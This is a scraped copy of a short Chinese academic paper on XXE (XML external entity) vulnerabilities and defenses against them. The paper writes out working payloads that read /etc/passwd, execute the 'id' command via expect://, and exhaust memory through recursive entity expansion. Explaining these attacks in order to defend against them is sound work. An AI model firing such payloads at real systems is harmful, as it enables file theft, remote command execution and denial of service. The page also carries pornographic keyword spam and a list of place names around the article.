国产日韩欧美一区二区三区三州_亚洲少妇熟女av_久久久久亚洲av国产精品_波多野结衣网站一区二区_亚洲欧美色片在线91_国产亚洲精品精品国产优播av_日本一区二区三区波多野结衣 _久久国产av不卡

?

XXE漏洞及其防御策略研究

2018-05-14 02:18應(yīng)宗浩金海
科技風(fēng) 2018年19期
關(guān)鍵詞:漏洞

應(yīng)宗浩 金海

摘要:XXE漏洞是近年來產(chǎn)生的影響比較大的漏洞之一,能夠任意讀取文件,遠(yuǎn)程執(zhí)行命令,造成拒絕服務(wù)攻擊等。該文通過xxe漏洞背景介紹,給出相應(yīng)的攻擊手段,并提出防御策略,以期能夠引起人們對(duì)xxe漏洞的重視,并加強(qiáng)相關(guān)方面的安全開發(fā)工作。

關(guān)鍵詞:XXE;漏洞;攻擊手段;防御策略

XML是用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語言,允許用戶對(duì)自己的標(biāo)記語言進(jìn)行定義。Web端,移動(dòng)端,云端等客戶端技術(shù)使用XML向業(yè)務(wù)應(yīng)用程序發(fā)送消息。為了使應(yīng)用程序使用自定義的XML消息,應(yīng)用程序必須去解析XML文檔并檢查格式是否正確。

較早的或配置錯(cuò)誤的XML處理器無法準(zhǔn)確評(píng)估XML文件中的外部實(shí)體引用。攻擊者可以利用外部實(shí)體發(fā)動(dòng)攻擊。此種攻擊行為稱之為XXE(XML Enternal Entity Injection),即XML外部實(shí)體注入攻擊。

1 XML基礎(chǔ)

XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

以下是一個(gè)典型xml文檔

<?xml version="1.0"?> <!—xml聲明—>

<!DOCTYPE note [<!—DTD文檔類型定義,定義此文檔是 note 類型的文檔>

<!ELEMENT note (head,body)><!定義note元素有四個(gè)元素>

<!ELEMENT head (#PCDATA)><!定義head元素為”#PCDATA”類型>

<!ELEMENT body (#PCDATA)><!定義body元素為”#PCDATA”類型>]>

Reminder<!—文檔元素>

You are a good man<!—文檔元素>

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構(gòu)建模塊。DTD 可以在 XML 文檔內(nèi)聲明,也可以外部引用。XXE漏洞關(guān)注的是外部實(shí)體引用,外部實(shí)體引用的代碼如下:

<!ENTITY 實(shí)體名稱 SYSTEM "URI">

2 xxe典型攻擊手段

2.1 任意讀取文件

<!DOCTYPE foo [<!ENTITY mytest SYSTEMfile:///etc/passwd>]>

&mytest;

代碼可以讀取/etc/passwd,file部分可以替換任意文件路徑,使得攻擊者能夠任意讀取文件。

2.2 執(zhí)行系統(tǒng)命令

<!DOCTYPEmytest [<!ELEMENT name ANY >

<!ENTITY mytest SYSTEM "expect://id" >]>

&mytest;

該代碼能夠在服務(wù)器上執(zhí)行“id”命令,”id”命令可以替換為其他系統(tǒng)命令,通過執(zhí)行系統(tǒng)命令.

2.3 拒絕服務(wù)攻擊

<!DOCTYPE data [

<!ENTITY a0 "dos" >

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

]>

&a4;

該代碼通過創(chuàng)建一項(xiàng)遞歸的 XML 定義,構(gòu)造惡意的XML實(shí)體文件耗盡可用內(nèi)存,造成拒絕服務(wù)攻擊。

3 XXE防御策略

大部分XML解析器無法正確解析xxe攻擊中的實(shí)體。因此可以配置XML處理器去使用本地靜態(tài)的DTD,不允許XML中含有自聲明的DTD??梢允褂瞄_發(fā)語言提供的禁用外部實(shí)體的方法,從而避免基于XXE漏洞的攻擊。

另外,升級(jí)libxml版本至2.9.0,libxml 2.9.0 以后默認(rèn)不解析外部實(shí)體,也可以通過升級(jí)libxml版本進(jìn)行xxe防御。

參考文獻(xiàn):

[1]開放式Web應(yīng)用程序安全項(xiàng)目.OWASP Top 10 2017[EB/OL]. http://www.owasp.org.cn/owaspproject/OWASPTop102017v1.3.pdf,20171201.

[2]Mark4z5. 未知攻焉知防——XXE漏洞攻防[EB/OL]. https://security.tencent.com/index.php/blog/msg/69,20140923.

[3]丁躍潮,張濤.XML實(shí)用教程[M].北京:北京大學(xué)出版社,2006.

[4]ChristopherSpth,ChristianMainka,VladislavMladenov.DTD/XXEcheatsheat.webinsecurity.blogspot.de/2016/03/xxecheatsheet.html.20160303.

作者簡(jiǎn)介:應(yīng)宗浩(1997),男,浙江溫州人,本科在讀,研究方向:信息安全,物聯(lián)網(wǎng)安全。

猜你喜歡
漏洞
小心“漏洞”
漏洞在哪里
漏洞在哪兒?
偵探推理游戲(二)
QQ瀏覽器成黑客攻擊幫手
漏洞在哪兒
從Windows 95就開始的超級(jí)漏洞
Windows系統(tǒng)WebDAV提權(quán)漏洞
漏洞一響,黃金萬兩
視頻、Office漏洞相繼爆發(fā)
淮阳县| 旬阳县| 龙州县| 内黄县| 乌拉特后旗| 寿光市| 大英县| 东山县| 萨嘎县| 剑河县| 尚志市| 镇巴县| 修水县| 琼结县| 缙云县| 西华县| 南召县| 台江县| 留坝县| 平山县| 茌平县| 清新县| 灵台县| 道孚县| 乌恰县| 遵义市| 济宁市| 瓦房店市| 喀什市| 中方县| 东乌| 丘北县| 青阳县| 宜君县| 和林格尔县| 通辽市| 阿坝县| 延安市| 中西区| 吉木乃县| 镇原县|